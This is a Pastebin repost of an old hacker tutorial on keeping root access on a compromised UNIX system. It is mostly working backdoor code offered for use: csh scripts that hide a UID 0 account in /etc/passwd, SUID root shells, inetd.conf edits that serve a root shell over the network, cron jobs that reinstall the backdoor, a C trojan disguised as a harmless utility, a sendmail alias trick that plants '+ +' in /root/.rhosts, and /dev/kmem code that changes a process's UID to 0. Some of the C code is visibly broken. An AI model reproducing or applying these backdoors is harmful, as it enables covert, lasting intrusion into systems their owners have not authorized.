FederationHax

BackDoor | by federation

Jun 9th, 2016
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.09 KB | None | 0 0
  1. Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
  2. The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
  3. permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
  4. After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
  5. privilege you have worked so hard to achieve....?
  6.  
  7. This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
  8. From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
  9. wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
  10. system?
  11. This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
  12. ways into one.
  13.  
  14. Beforehand
  15.  
  16. Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
  17. now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
  18. format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
  19. robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
  20. you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
  21. nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
  22.  
  23. The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
  24. skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
  25. admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
  26. to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
  27. looking for back doors.
  28.  
  29.  
  30.  
  31. The Overt
  32.  
  33. [1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
  34. flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
  35. prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
  36.  
  37. #!/bin/csh
  38. # Inserts a UID 0 account into the middle of the passwd file.
  39. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
  40.  
  41. set linecount = `wc -l /etc/passwd`
  42. cd # Do this at home.
  43. cp /etc/passwd ./temppass # Safety first.
  44. echo passwd file has $linecount[1] lines.
  45. @ linecount[1] /= 2
  46. @ linecount[1] += 1 # we only want 2 temp files
  47. echo Creating two files, $linecount[1] lines each \(or approximately that\).
  48. split -$linecount[1] ./temppass # passwd string optional
  49. echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  50. cat ./xab >> ./xaa
  51. mv ./xaa /etc/passwd
  52. chmod 644 /etc/passwd # or whatever it was beforehand
  53. rm ./xa* ./temppass
  54. echo Done...
  55.  
  56. NEVER, EVER, change the root password. The reasons are obvious.
  57.  
  58. [2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
  59. passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
  60. field).
  61.  
  62. [3] Leave an SUID root shell in /tmp.
  63.  
  64. #!/bin/sh
  65. # Everyone's favorite...
  66.  
  67. cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
  68. chmod 4755 /tmp/.evilnaughtyshell
  69.  
  70. Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
  71. to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
  72. notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
  73. specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
  74.  
  75.  
  76.  
  77. The Veiled
  78.  
  79. [4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
  80. background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
  81. appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
  82. lines look like this:
  83.  
  84. (1) (2) (3) (4) (5) (6) (7)
  85. ftp stream tcp nowait root /usr/etc/ftpd ftpd
  86. talk dgram udp wait root /usr/etc/ntalkd ntalkd
  87.  
  88. Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
  89. which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
  90. TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
  91. or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
  92. process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
  93. child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
  94. inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
  95. command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
  96. This is done with an 'internal' flag in fields (6) and (7).
  97. So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
  98. with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
  99. file, etc...
  100. For the insinuation-impaired, try this:
  101.  
  102. Open the /etc/inetd.conf in an available editor. Find the line that reads:
  103.  
  104.  
  105. daytime stream tcp nowait root internal
  106.  
  107. and change it to:
  108.  
  109. daytime stream tcp nowait /bin/sh sh -i.
  110.  
  111. You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
  112. restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
  113. to do this off peak hours).
  114.  
  115. [5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
  116. simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
  117. /etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
  118.  
  119. (1) (2)/(3) (4)
  120. smtp 25/tcp mail
  121.  
  122. Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
  123. associated with the service. For instance, add this line to /etc/services:
  124.  
  125. evil 22/tcp evil
  126.  
  127. and this line to /etc/inetd.conf:
  128.  
  129. evil stream tcp nowait /bin/sh sh -i
  130.  
  131. Restart inetd as before.
  132.  
  133. Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
  134. they offer rentry from *any* account on *any* computer on the Internet.
  135.  
  136. [6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
  137. crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
  138. backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
  139. several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
  140. It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
  141. or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
  142. entry has six fields:
  143.  
  144. (1) (2) (3) (4) (5) (6)
  145. 0 0 * * 1 /usr/bin/updatedb
  146.  
  147. Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
  148. (0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
  149. simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
  150. /etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
  151. be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
  152. shady intentions). Add this line to /var/spool/crontab/root:
  153.  
  154. 0 0 * * * /usr/bin/trojancode
  155.  
  156. This is the shell script:
  157.  
  158. #!/bin/csh
  159. # Is our eviluser still on the system? Let's make sure he is.
  160.  
  161. set evilflag = (`grep eviluser /etc/passwd`)
  162.  
  163.  
  164. if($#evilflag == 0) then # Is he there?
  165.  
  166. set linecount = `wc -l /etc/passwd`
  167. cd # Do this at home.
  168. cp /etc/passwd ./temppass # Safety first.
  169. @ linecount[1] /= 2
  170. @ linecount[1] += 1 # we only want 2 temp files
  171. split -$linecount[1] ./temppass # passwd string optional
  172. echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  173. cat ./xab >> ./xaa
  174. mv ./xaa /etc/passwd
  175. chmod 644 /etc/passwd # or whatever it was beforehand
  176. rm ./xa* ./temppass
  177. echo Done...
  178. else
  179. endif
  180.  
  181. [7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
  182. /etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
  183. account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
  184. copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
  185. Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
  186. would be ok. Add this line to root's crontab file:
  187.  
  188.  
  189. 29 2 * * * /bin/usr/sneakysneaky_passwd
  190.  
  191. make sure this exists:
  192.  
  193. #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
  194.  
  195. and this is the simple shell script:
  196.  
  197. #!/bin/csh
  198. # Install trojan /etc/passwd file for one minute
  199.  
  200. cp /etc/passwd /etc/.temppass
  201. cp /var/spool/mail/.sneaky /etc/passwd
  202. sleep 60
  203. mv /etc/.temppass /etc/passwd
  204.  
  205. [8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
  206. Make sure it runs as root. Name it something innocous. Hide it well.
  207.  
  208. /* A little trojan to create an SUID root shell, if the proper argument is
  209. given. C code, rather than shell to hide obvious it's effects. */
  210.  
  211. #include
  212.  
  213. #define KEYWORD "industry3"
  214. #define BUFFERSIZE 10
  215.  
  216. int main(argc, argv)
  217. int argc;
  218. char *argv[];{
  219.  
  220. int i=0;
  221.  
  222. if(argv[1]){ /* we've got an argument, is it the keyword? */
  223.  
  224. if(!(strcmp(KEYWORD,argv[1]))){
  225.  
  226. /* This is the trojan part. */
  227. system("cp /bin/csh /bin/.swp121");
  228. system("chown root /bin/.swp121");
  229. system("chmod 4755 /bin/.swp121");
  230. }
  231. }
  232. /* Put your possibly system specific trojan
  233. messages here */
  234. /* Let's look like we're doing something... */
  235. printf("Sychronizing bitmap image records.");
  236. /* system("ls -alR / >& /dev/null > /dev/null&"); */
  237. for(;i<10;i++){
  238. fprintf(stderr,".");
  239. sleep(1);
  240. }
  241. printf("\nDone.\n");
  242. return(0);
  243. } /* End main */
  244.  
  245. [9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
  246. users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
  247.  
  248. "decode: "|/usr/bin/uudecode"
  249.  
  250. to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
  251.  
  252. #! /bin/csh
  253.  
  254. # Create our .rhosts file. Note this will output to stdout.
  255.  
  256. echo "+ +" > tmpfile
  257. /usr/bin/uuencode tmpfile /root/.rhosts
  258.  
  259. Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
  260. .rhosts file. For a one liner (not faked, however) do this:
  261.  
  262. %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected]
  263.  
  264. You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
  265. choosing. Many of the previous scripts and methods can be employed here.
  266.  
  267.  
  268.  
  269. The Covert
  270.  
  271. [10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
  272. The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
  273. case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
  274. general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
  275. are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
  276. Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
  277.  
  278. get input;
  279. if input is special hardcoded flag, spawn evil trojan;
  280. else if input is valid, continue;
  281. else quit with error;
  282. ...
  283.  
  284. Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
  285.  
  286.  
  287.  
  288. The Esoteric
  289.  
  290. [11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
  291. to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
  292. permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
  293. your current process, then spawn a csh, which will inherit this UID. The following program does just that.
  294.  
  295. /* If /kmem is is readable and writable, this program will change the user's
  296. UID and GID to 0. */
  297. /* This code originally appeared in "UNIX security: A practical tutorial"
  298. with some modifications by [email protected] */
  299.  
  300. #include
  301. #include
  302. #include
  303. #include
  304. #include
  305. #include
  306. #include
  307.  
  308. #define KEYWORD "nomenclature1"
  309.  
  310. struct user userpage;
  311. long address(), userlocation;
  312.  
  313. int main(argc, argv, envp)
  314. int argc;
  315. char *argv[], *envp[];{
  316.  
  317. int count, fd;
  318. long where, lseek();
  319.  
  320. if(argv[1]){ /* we've got an argument, is it the keyword? */
  321. if(!(strcmp(KEYWORD,argv[1]))){
  322. fd=(open("/dev/kmem",O_RDWR);
  323.  
  324. if(fd<0){
  325. printf("Cannot read or write to /dev/kmem\n");
  326. perror(argv);
  327. exit(10);
  328. }
  329.  
  330. userlocation=address();
  331. where=(lseek(fd,userlocation,0);
  332.  
  333. if(where!=userlocation){
  334. printf("Cannot seek to user page\n");
  335. perror(argv);
  336. exit(20);
  337. }
  338.  
  339. count=read(fd,&userpage,sizeof(struct user));
  340.  
  341. if(count!=sizeof(struct user)){
  342. printf("Cannot read user page\n");
  343. perror(argv);
  344. exit(30);
  345. }
  346.  
  347. printf("Current UID: %d\n",userpage.u_ruid);
  348. printf("Current GID: %d\n",userpage.g_ruid);
  349.  
  350. userpage.u_ruid=0;
  351. userpage.u_rgid=0;
  352.  
  353. where=lseek(fd,userlocation,0);
  354.  
  355. if(where!=userlocation){
  356. printf("Cannot seek to user page\n");
  357. perror(argv);
  358. exit(40);
  359. }
  360.  
  361. write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
  362.  
  363. execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
  364. }
  365. }
  366.  
  367. } /* End main */
  368.  
  369. #include
  370. #include
  371. #include
  372.  
  373. #define LNULL ((LDFILE *)0)
  374.  
  375. long address(){
  376.  
  377. LDFILE *object;
  378. SYMENT symbol;
  379. long idx=0;
  380.  
  381. object=ldopen("/unix",LNULL);
  382.  
  383. if(!object){
  384. fprintf(stderr,"Cannot open /unix.\n");
  385. exit(50);
  386. }
  387.  
  388. for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
  389. if(!strcmp("_u",ldgetname(object,&symbol))){
  390. fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
  391. ldclose(object);
  392. return(symbol.n_value);
  393. }
  394. }
  395.  
  396. fprintf(stderr,"Cannot read symbol table in /unix.\n");
  397. exit(60);
  398. }
  399.  
  400. [12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
  401. care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
  402. discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
  403.  
  404. chmod 666 /dev/kmem
  405. sleep 300 # Nap for 5 minutes
  406. chmod 600 /dev/kmem # Or whatever it was before
  407.  
  408.  
  409.  
  410. skype : yamod.gas
Advertisement
Add Comment
Please, Sign In to add comment